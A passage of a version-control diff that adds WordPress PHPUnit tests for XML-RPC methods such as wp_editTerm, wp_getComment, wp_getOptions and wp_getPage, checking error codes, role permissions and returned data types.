+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', 9999, array( 'taxonomy' => 'category' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+		$this->assertEquals(  __( 'Invalid term ID' ), $result->message );
+	}
+
+	function test_empty_term() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', '', array( 'taxonomy' => 'category' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+		$this->assertEquals( __('Empty Term'), $result->message );
+	}
+
+	function test_empty_term_name() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->parent_term['term_id'], array( 'taxonomy' => 'category', 'name' => '' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'The term name cannot be empty.' ), $result->message );
+	}
+
+	function test_parent_for_nonhierarchical() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->post_tag['term_id'], array( 'taxonomy' => 'post_tag', 'parent' => $this->parent_term['term_id'] ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( "This taxonomy is not hierarchical so you can't set a parent." ), $result->message );
+	}
+
+	function test_parent_empty() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'parent' => '', 'name' => 'test' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+		$this->assertEquals( __('Empty Term'), $result->message );
+	}
+
+	function test_parent_invalid() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'parent' => 'dasda', 'name' => 'test' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+	}
+
+	function test_parent_not_existing() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'parent' => 9999, 'name' => 'test' ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+		$this->assertEquals( __( 'Parent term does not exist.' ), $result->message );
+	}
+
+	function test_parent_duplicate_slug() {
+		$this->make_user_by_role( 'editor' );
+
+		$parent_term = get_term_by( 'id', $this->parent_term['term_id'], 'category' );
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], array( 'taxonomy' => 'category', 'slug' => $parent_term->slug ) ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 500, $result->code );
+		$this->assertEquals( htmlspecialchars( sprintf( __('The slug &#8220;%s&#8221; is already in use by another term'), $parent_term->slug ) ), $result->message );
+	}
+
+	function test_edit_all_fields() {
+		$this->make_user_by_role( 'editor' );
+
+		$fields = array( 'taxonomy' => 'category', 'name' => 'Child 2', 'parent' => $this->parent_term['term_id'], 'description' => 'Child term', 'slug' => 'child_2' );
+		$result = $this->myxmlrpcserver->wp_editTerm( array( 1, 'editor', 'editor', $this->child_term['term_id'], $fields ) );
+
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+		$this->assertInternalType( 'boolean', $result );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getComment.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getComment.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getComment.php	(revision 33402)
@@ -0,0 +1,105 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getComment extends WP_XMLRPC_UnitTestCase {
+	var $post_id;
+	var $parent_comment_id;
+	var $parent_comment_data;
+	var $child_comment_id;
+	var $child_comment_data;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_id = $this->factory->post->create();
+
+		$this->parent_comment_data = array(
+			'comment_post_ID' => $this->post_id,
+			'comment_author' => 'Test commenter',
+			'comment_author_url' => 'http://example.com/',
+			'comment_author_email' => 'example@example.com',
+			'comment_content' => rand_str( 100 ),
+		);
+		$this->parent_comment_id = wp_insert_comment( $this->parent_comment_data );
+
+		$this->child_comment_data = array(
+			'comment_post_ID' => $this->post_id,
+			'comment_author' => 'Test commenter 2',
+			'comment_author_url' => 'http://example.org/',
+			'comment_author_email' => 'example@example.org',
+			'comment_parent' => $this->parent_comment_id,
+			'comment_content' => rand_str( 100 )
+		);
+		$this->child_comment_id = wp_insert_comment( $this->child_comment_data );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getComment( array( 1, 'username', 'password', $this->parent_comment_id ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'contributor' );
+
+		$result = $this->myxmlrpcserver->wp_getComment( array( 1, 'contributor', 'contributor', $this->parent_comment_id ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_valid_comment() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getComment( array( 1, 'editor', 'editor', $this->parent_comment_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Check data types
+		$this->assertInternalType( 'string', $result['user_id'] );
+		$this->assertInternalType( 'string', $result['comment_id'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+		$this->assertInternalType( 'string', $result['parent'] );
+		$this->assertInternalType( 'string', $result['status'] );
+		$this->assertInternalType( 'string', $result['content'] );
+		$this->assertInternalType( 'string', $result['link'] );
+		$this->assertInternalType( 'string', $result['post_id'] );
+		$this->assertInternalType( 'string', $result['post_title'] );
+		$this->assertInternalType( 'string', $result['author'] );
+		$this->assertInternalType( 'string', $result['author_url'] );
+		$this->assertInternalType( 'string', $result['author_email'] );
+		$this->assertInternalType( 'string', $result['author_ip'] );
+		$this->assertInternalType( 'string', $result['type'] );
+
+		// Check expected values
+		$this->assertStringMatchesFormat( '%d', $result['user_id'] );
+		$this->assertStringMatchesFormat( '%d', $result['comment_id'] );
+		$this->assertStringMatchesFormat( '%d', $result['parent'] );
+		$this->assertStringMatchesFormat( '%d', $result['post_id'] );
+		$this->assertEquals( $this->parent_comment_id, $result['comment_id'] );
+		$this->assertEquals( 0, $result['parent'] );
+		$this->assertEquals( $this->parent_comment_data['comment_content'], $result['content'] );
+		$this->assertEquals( $this->post_id, $result['post_id'] );
+		$this->assertEquals( $this->parent_comment_data['comment_author'], $result['author'] );
+		$this->assertEquals( $this->parent_comment_data['comment_author_url'], $result['author_url'] );
+		$this->assertEquals( $this->parent_comment_data['comment_author_email'], $result['author_email'] );
+	}
+
+	function test_valid_child_comment() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getComment( array( 1, 'editor', 'editor', $this->child_comment_id ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$this->assertEquals( $this->child_comment_id, $result['comment_id'] );
+		$this->assertEquals( $this->parent_comment_id, $result['parent'] );
+	}
+
+	function test_invalid_id() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getComment( array( 1, 'editor', 'editor', 123456789 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getComments.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getComments.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getComments.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getComments extends WP_XMLRPC_UnitTestCase {
+	var $post_id;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_id = $this->factory->post->create();
+		$this->factory->comment->create_post_comments( $this->post_id, 15 );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getComments( array( 1, 'username', 'password', array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'contributor' );
+
+		$result = $this->myxmlrpcserver->wp_getComments( array( 1, 'contributor', 'contributor', array() ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_capable_user() {
+		$this->make_user_by_role( 'editor' );
+
+		$results = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', array() ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $result ) {
+			$comment = get_comment( $result['comment_id'], ARRAY_A );
+			$this->assertEquals( $comment['comment_post_ID'], $result['post_id'] );
+		}
+	}
+
+	function test_post_filter() {
+		$this->make_user_by_role( 'editor' );
+
+		$filter = array(
+			'post_id' => $this->post_id
+		);
+		$results = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $result ) {
+			$this->assertEquals( $this->post_id, $result['post_id'] );
+		}
+	}
+
+	function test_number_filter() {
+		$this->make_user_by_role( 'editor' );
+
+		$filter = array(
+			'post_id' => $this->post_id,
+		);
+		$results = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		// if no 'number' filter is specified, default should be 10
+		$this->assertEquals( 10, count( $results ) );
+
+		// explicitly set a 'number' filter and verify that only that many are returned
+		$filter['number'] = 5;
+		$results2 = $this->myxmlrpcserver->wp_getComments( array( 1, 'editor', 'editor', $filter ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results2 );
+		$this->assertEquals( 5, count( $results2 ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getMediaItem.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getMediaItem.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getMediaItem.php	(revision 33402)
@@ -0,0 +1,78 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getMediaItem extends WP_XMLRPC_UnitTestCase {
+	var $post_id;
+	var $attachment_data;
+	var $attachment_id;
+
+	function setUp() {
+		parent::setUp();
+
+		add_theme_support( 'post-thumbnails' );
+
+		$this->post_id = wp_insert_post( array(
+			'post_title' => rand_str(),
+			'post_content' => rand_str(),
+			'post_status' => 'publish'
+		));
+
+		$filename = ( DIR_TESTDATA.'/images/waffles.jpg' );
+		$contents = file_get_contents( $filename );
+		$upload = wp_upload_bits(basename($filename), null, $contents);
+		$mime = wp_check_filetype( $filename );
+		$this->attachment_data = array(
+			'post_title' => basename( $upload['file'] ),
+			'post_content' => '',
+			'post_type' => 'attachment',
+			'post_parent' => $this->post_id,
+			'post_mime_type' => $mime['type'],
+			'guid' => $upload[ 'url' ]
+		);
+
+		$id = wp_insert_attachment( $this->attachment_data, $upload[ 'file' ], $this->post_id );
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
+		$this->attachment_id = $id;
+
+		set_post_thumbnail( $this->post_id, $this->attachment_id );
+	}
+
+	function tearDown() {
+		remove_theme_support( 'post-thumbnails' );
+
+		parent::tearDown();
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getMediaItem( array( 1, 'username', 'password', 0 ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_valid_media_item() {
+		$this->make_user_by_role( 'author' );
+
+		$fields = array( 'post' );
+		$result = $this->myxmlrpcserver->wp_getMediaItem( array( 1, 'author', 'author', $this->attachment_id, $fields ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Check data types
+		$this->assertInternalType( 'string', $result['attachment_id'] );
+		$this->assertInternalType( 'int', $result['parent'] );
+		$this->assertInternalType( 'string', $result['title'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+		$this->assertInternalType( 'string', $result['caption'] );
+		$this->assertInternalType( 'string', $result['description'] );
+		$this->assertInternalType( 'string', $result['link'] );
+		$this->assertInternalType( 'string', $result['thumbnail'] );
+		$this->assertInternalType( 'array', $result['metadata'] );
+
+		// Check expected values
+		$this->assertStringMatchesFormat( '%d', $result['attachment_id'] );
+		$this->assertEquals( $this->attachment_data['post_title'], $result['title'] );
+		$this->assertEquals( wp_get_attachment_url( $this->attachment_id ), $result['link'] );
+		$this->assertEquals( wp_get_attachment_thumb_url( $this->attachment_id ), $result['thumbnail'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getOptions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getOptions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getOptions.php	(revision 33402)
@@ -0,0 +1,211 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getOptions extends WP_XMLRPC_UnitTestCase {
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_valid_username_password() {
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'subscriber', 'subscriber' ) );
+		$this->assertInternalType( 'array', $result );
+		$this->assertEquals( 'WordPress', $result['software_name']['value'] );
+	}
+
+	function test_option_value() {
+		$this->make_user_by_role( 'administrator' );
+
+		$result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'administrator', 'administrator', 'default_comment_status' ) );
+		$this->assertInternalType( 'array', $result );
+
+		$this->assertEquals( get_option( 'default_comment_status' ), $result['default_comment_status']['value'] );
+		$this->assertFalse( $result['default_comment_status']['readonly'] );
+	}
+
+	/**
+	 * @ticket 20201
+	 */
+	function test_option_values_subscriber() {
+		global $wp_version;
+		$this->make_user_by_role( 'subscriber' );
+
+		$result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'subscriber', 'subscriber' ) );
+		$this->assertInternalType( 'array', $result );
+
+		// Read Only options
+		$this->assertEquals( 'WordPress', $result['software_name']['value'] );
+		$this->assertTrue( $result['software_name']['readonly'] );
+
+		$this->assertEquals( $wp_version, $result['software_version']['value'] );
+		$this->assertTrue( $result['software_version']['readonly'] );
+
+		$this->assertEquals( get_site_url(), $result['blog_url']['value'] );
+		$this->assertTrue( $result['blog_url']['readonly'] );
+
+		$this->assertEquals( wp_login_url(), $result['login_url']['value'] );
+		$this->assertTrue( $result['login_url']['readonly'] );
+
+		$this->assertEquals( get_admin_url(), $result['admin_url']['value'] );
+		$this->assertTrue( $result['admin_url']['readonly'] );
+
+		$this->assertEquals( get_option( 'image_default_link_type' ), $result['image_default_link_type']['value'] );
+		$this->assertTrue( $result['image_default_link_type']['readonly'] );
+
+		$this->assertEquals( get_option( 'image_default_size' ), $result['image_default_size']['value'] );
+		$this->assertTrue( $result['image_default_size']['readonly'] );
+
+		$this->assertEquals( get_option( 'image_default_align' ), $result['image_default_align']['value'] );
+		$this->assertTrue( $result['image_default_align']['readonly'] );
+
+		$this->assertEquals( get_template(), $result['template']['value'] );
+		$this->assertTrue( $result['template']['readonly'] );
+
+		$this->assertEquals( get_stylesheet(), $result['stylesheet']['value'] );
+		$this->assertTrue( $result['stylesheet']['readonly'] );
+
+		$this->assertEquals( current_theme_supports( 'post-thumbnails' ), $result['post_thumbnail']['value'] );
+		$this->assertTrue( $result['post_thumbnail']['readonly'] );
+
+		// Updatable options
+		$this->assertEquals( get_option( 'gmt_offset' ), $result['time_zone']['value'] );
+		$this->assertTrue( $result['time_zone']['readonly'] );
+
+		$this->assertEquals( get_option( 'blogname' ), $result['blog_title']['value'] );
+		$this->assertTrue( $result['blog_title']['readonly'] );
+
+		$this->assertEquals( get_option( 'blogdescription' ), $result['blog_tagline']['value'] );
+		$this->assertTrue( $result['blog_tagline']['readonly'] );
+
+		$this->assertEquals( get_option( 'date_format' ), $result['date_format']['value'] );
+		$this->assertTrue( $result['date_format']['readonly'] );
+
+		$this->assertEquals( get_option( 'time_format' ), $result['time_format']['value'] );
+		$this->assertTrue( $result['time_format']['readonly'] );
+
+		$this->assertEquals( get_option( 'users_can_register' ), $result['users_can_register']['value'] );
+		$this->assertTrue( $result['users_can_register']['readonly'] );
+
+		$this->assertEquals( get_option( 'thumbnail_size_w' ), $result['thumbnail_size_w']['value'] );
+		$this->assertTrue( $result['thumbnail_size_w']['readonly'] );
+
+		$this->assertEquals( get_option( 'thumbnail_size_h' ), $result['thumbnail_size_h']['value'] );
+		$this->assertTrue( $result['thumbnail_size_h']['readonly'] );
+
+		$this->assertEquals( get_option( 'thumbnail_crop' ), $result['thumbnail_crop']['value'] );
+		$this->assertTrue( $result['thumbnail_crop']['readonly'] );
+
+		$this->assertEquals( get_option( 'medium_size_w' ), $result['medium_size_w']['value'] );
+		$this->assertTrue( $result['medium_size_w']['readonly'] );
+
+		$this->assertEquals( get_option( 'medium_size_h' ), $result['medium_size_h']['value'] );
+		$this->assertTrue( $result['medium_size_h']['readonly'] );
+
+		$this->assertEquals( get_option( 'large_size_w' ), $result['large_size_w']['value'] );
+		$this->assertTrue( $result['large_size_w']['readonly'] );
+
+		$this->assertEquals( get_option( 'large_size_h' ), $result['large_size_h']['value'] );
+		$this->assertTrue( $result['large_size_h']['readonly'] );
+
+		$this->assertEquals( get_option( 'default_comment_status' ), $result['default_comment_status']['value'] );
+		$this->assertTrue( $result['default_comment_status']['readonly'] );
+
+		$this->assertEquals( get_option( 'default_ping_status' ), $result['default_ping_status']['value'] );
+		$this->assertTrue( $result['default_ping_status']['readonly'] );
+	}
+
+	function test_option_values_admin() {
+		global $wp_version;
+
+		$this->make_user_by_role( 'administrator' );
+
+		$result = $this->myxmlrpcserver->wp_getOptions( array( 1, 'administrator', 'administrator' ) );
+		$this->assertInternalType( 'array', $result );
+
+		// Read Only options
+		$this->assertEquals( 'WordPress', $result['software_name']['value'] );
+		$this->assertTrue( $result['software_name']['readonly'] );
+
+		$this->assertEquals( $wp_version, $result['software_version']['value'] );
+		$this->assertTrue( $result['software_version']['readonly'] );
+
+		$this->assertEquals( get_site_url(), $result['blog_url']['value'] );
+		$this->assertTrue( $result['blog_url']['readonly'] );
+
+		$this->assertEquals( wp_login_url(), $result['login_url']['value'] );
+		$this->assertTrue( $result['login_url']['readonly'] );
+
+		$this->assertEquals( get_admin_url(), $result['admin_url']['value'] );
+		$this->assertTrue( $result['admin_url']['readonly'] );
+
+		$this->assertEquals( get_option( 'image_default_link_type' ), $result['image_default_link_type']['value'] );
+		$this->assertTrue( $result['image_default_link_type']['readonly'] );
+
+		$this->assertEquals( get_option( 'image_default_size' ), $result['image_default_size']['value'] );
+		$this->assertTrue( $result['image_default_size']['readonly'] );
+
+		$this->assertEquals( get_option( 'image_default_align' ), $result['image_default_align']['value'] );
+		$this->assertTrue( $result['image_default_align']['readonly'] );
+
+		$this->assertEquals( get_template(), $result['template']['value'] );
+		$this->assertTrue( $result['template']['readonly'] );
+
+		$this->assertEquals( get_stylesheet(), $result['stylesheet']['value'] );
+		$this->assertTrue( $result['stylesheet']['readonly'] );
+
+		$this->assertEquals( current_theme_supports( 'post-thumbnails' ), $result['post_thumbnail']['value'] );
+		$this->assertTrue( $result['post_thumbnail']['readonly'] );
+
+		// Updatable options
+		$this->assertEquals( get_option( 'gmt_offset' ), $result['time_zone']['value'] );
+		$this->assertFalse( $result['time_zone']['readonly'] );
+
+		$this->assertEquals( get_option( 'blogname' ), $result['blog_title']['value'] );
+		$this->assertFalse( $result['blog_title']['readonly'] );
+
+		$this->assertEquals( get_option( 'blogdescription' ), $result['blog_tagline']['value'] );
+		$this->assertFalse( $result['blog_tagline']['readonly'] );
+
+		$this->assertEquals( get_option( 'date_format' ), $result['date_format']['value'] );
+		$this->assertFalse( $result['date_format']['readonly'] );
+
+		$this->assertEquals( get_option( 'time_format' ), $result['time_format']['value'] );
+		$this->assertFalse( $result['time_format']['readonly'] );
+
+		$this->assertEquals( get_option( 'users_can_register' ), $result['users_can_register']['value'] );
+		$this->assertFalse( $result['users_can_register']['readonly'] );
+
+		$this->assertEquals( get_option( 'thumbnail_size_w' ), $result['thumbnail_size_w']['value'] );
+		$this->assertFalse( $result['thumbnail_size_w']['readonly'] );
+
+		$this->assertEquals( get_option( 'thumbnail_size_h' ), $result['thumbnail_size_h']['value'] );
+		$this->assertFalse( $result['thumbnail_size_h']['readonly'] );
+
+		$this->assertEquals( get_option( 'thumbnail_crop' ), $result['thumbnail_crop']['value'] );
+		$this->assertFalse( $result['thumbnail_crop']['readonly'] );
+
+		$this->assertEquals( get_option( 'medium_size_w' ), $result['medium_size_w']['value'] );
+		$this->assertFalse( $result['medium_size_w']['readonly'] );
+
+		$this->assertEquals( get_option( 'medium_size_h' ), $result['medium_size_h']['value'] );
+		$this->assertFalse( $result['medium_size_h']['readonly'] );
+
+		$this->assertEquals( get_option( 'large_size_w' ), $result['large_size_w']['value'] );
+		$this->assertFalse( $result['large_size_w']['readonly'] );
+
+		$this->assertEquals( get_option( 'large_size_h' ), $result['large_size_h']['value'] );
+		$this->assertFalse( $result['large_size_h']['readonly'] );
+
+		$this->assertEquals( get_option( 'default_comment_status' ), $result['default_comment_status']['value'] );
+		$this->assertFalse( $result['default_comment_status']['readonly'] );
+
+		$this->assertEquals( get_option( 'default_ping_status' ), $result['default_ping_status']['value'] );
+		$this->assertFalse( $result['default_ping_status']['readonly'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPage.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPage.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPage.php	(revision 33402)
@@ -0,0 +1,101 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPage extends WP_XMLRPC_UnitTestCase {
+	var $post_data;
+	var $post_id;
+	var $post_date_ts;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_date_ts = strtotime( '+1 day' );
+		$this->post_data = array(
+			'post_type' => 'page',
+			'post_title' => rand_str(),
+			'post_content' => rand_str( 2000 ),
+			'post_excerpt' => rand_str( 100 ),
+			'post_author' => $this->make_user_by_role( 'author' ),
+			'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+		);
+		$this->post_id = wp_insert_post( $this->post_data );
+	}
+
+	function tearDown() {
+		wp_delete_post( $this->post_id );
+		parent::tearDown();
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getPage( array( 1, $this->post_id, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	/**
+	 * @ticket 20336
+	 */
+	function test_invalid_pageid() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPage( array( 1, 9999, 'editor', 'editor' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 404, $result->code );
+	}
+
+	function test_valid_page() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPage( array( 1, $this->post_id, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		// Check data types
+		$this->assertInternalType( 'string', $result['userid'] );
+		$this->assertInternalType( 'int',    $result['page_id'] );
+		$this->assertInternalType( 'string', $result['page_status'] );
+		$this->assertInternalType( 'string', $result['description'] );
+		$this->assertInternalType( 'string', $result['title'] );
+		$this->assertInternalType( 'string', $result['link'] );
+		$this->assertInternalType( 'string', $result['permaLink'] );
+		$this->assertInternalType( 'array',  $result['categories'] );
+		$this->assertInternalType( 'string', $result['excerpt'] );
+		$this->assertInternalType( 'string', $result['text_more'] );
+		$this->assertInternalType( 'int',    $result['mt_allow_comments'] );
+		$this->assertInternalType( 'int',    $result['mt_allow_pings'] );
+		$this->assertInternalType( 'string', $result['wp_slug'] );
+		$this->assertInternalType( 'string', $result['wp_password'] );
+		$this->assertInternalType( 'string', $result['wp_author'] );
+		$this->assertInternalType( 'int',    $result['wp_page_parent_id'] );
+		$this->assertInternalType( 'string', $result['wp_page_parent_title'] );
+		$this->assertInternalType( 'int',    $result['wp_page_order'] );
+		$this->assertInternalType( 'string', $result['wp_author_id'] );
+		$this->assertInternalType( 'string', $result['wp_author_display_name'] );
+		$this->assertInternalType( 'array',  $result['custom_fields'] );
+		$this->assertInternalType( 'string', $result['wp_page_template'] );
+
+		// Check expected values
+		$this->assertStringMatchesFormat( '%d', $result['userid'] );
+		$this->assertEquals( 'draft', $result['page_status'] );
+		$this->assertEquals( $this->post_data['post_title'], $result['title'] );
+		$this->assertEquals( url_to_postid( $result['link'] ), $this->post_id );
+		$this->assertEquals( $this->post_data['post_excerpt'], $result['excerpt'] );
+		$this->assertStringMatchesFormat( '%d', $result['wp_author_id'] );
+	}
+
+	function test_date() {
+		$this->make_user_by_role( 'editor' );
+
+		$result = $this->myxmlrpcserver->wp_getPage( array( 1, $this->post_id, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $result );
+
+		$this->assertInstanceOf( 'IXR_Date', $result['dateCreated'] );
+		$this->assertInstanceOf( 'IXR_Date', $result['date_created_gmt'] );
+
+		$date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+
+		$this->assertEquals( $this->post_date_ts, $result['dateCreated']->getTimestamp() );
+		$this->assertEquals( $date_gmt, $result['date_created_gmt']->getTimestamp() );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPageList.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPageList.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPageList.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPageList extends WP_XMLRPC_UnitTestCase {
+	var $post_data;
+	var $post_id;
+	var $post_date_ts;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->post_date_ts = strtotime( '+1 day' );
+		$this->post_data = array(
+			'post_type' => 'page',
+			'post_title' => rand_str(),
+			'post_content' => rand_str( 2000 ),
+			'post_excerpt' => rand_str( 100 ),
+			'post_author' => $this->make_user_by_role( 'author' ),
+			'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+		);
+		$this->post_id = wp_insert_post( $this->post_data );
+	}
+
+	function test_invalid_username_password() {
+		$result = $this->myxmlrpcserver->wp_getPageList( array( 1, 'username', 'password' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 403, $result->code );
+	}
+
+	function test_incapable_user() {
+		$this->make_user_by_role( 'contributor' );
+
+		$result = $this->myxmlrpcserver->wp_getPageList( array( 1, 'contributor', 'contributor' ) );
+		$this->assertInstanceOf( 'IXR_Error', $result );
+		$this->assertEquals( 401, $result->code );
+	}
+
+	function test_date() {
+		$this->make_user_by_role( 'editor' );
+
+		$results = $this->myxmlrpcserver->wp_getPageList( array( 1, 'editor', 'editor' ) );
+		$this->assertNotInstanceOf( 'IXR_Error', $results );
+
+		foreach( $results as $result ) {
+			$page = get_post( $result->page_id );
+			$date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $page->post_date, false ), 'Ymd\TH:i:s' ) );
+
+			$this->assertInstanceOf( 'IXR_Date', $result->dateCreated );
+			$this->assertInstanceOf( 'IXR_Date', $result->date_created_gmt );
+
+			$this->assertEquals( strtotime( $page->post_date ), $result->dateCreated->getTimestamp() );
+			$this->assertEquals( $date_gmt, $result->date_created_gmt->getTimestamp() );
+		}
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPages.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPages.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/xmlrpc/wp/getPages.php	(revision 33402)
@@ -0,0 +1,86 @@
+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPages extends WP_XMLRPC_UnitTestCase {
+    var $post_data;
+    var $post_id;
+    var $post_date_ts;
+    var $editor_id;
+
+    function setUp() {
+        parent::setUp();
+
+        $this->post_date_ts = strtotime( '+1 day' );
+        $this->post_data = array(
+            'post_type' => 'page',
+            'post_title' => rand_str(),
+            'post_content' => rand_str( 2000 ),
+            'post_excerpt' => rand_str( 100 ),
+            'post_author' => $this->make_user_by_role( 'administrator' ),
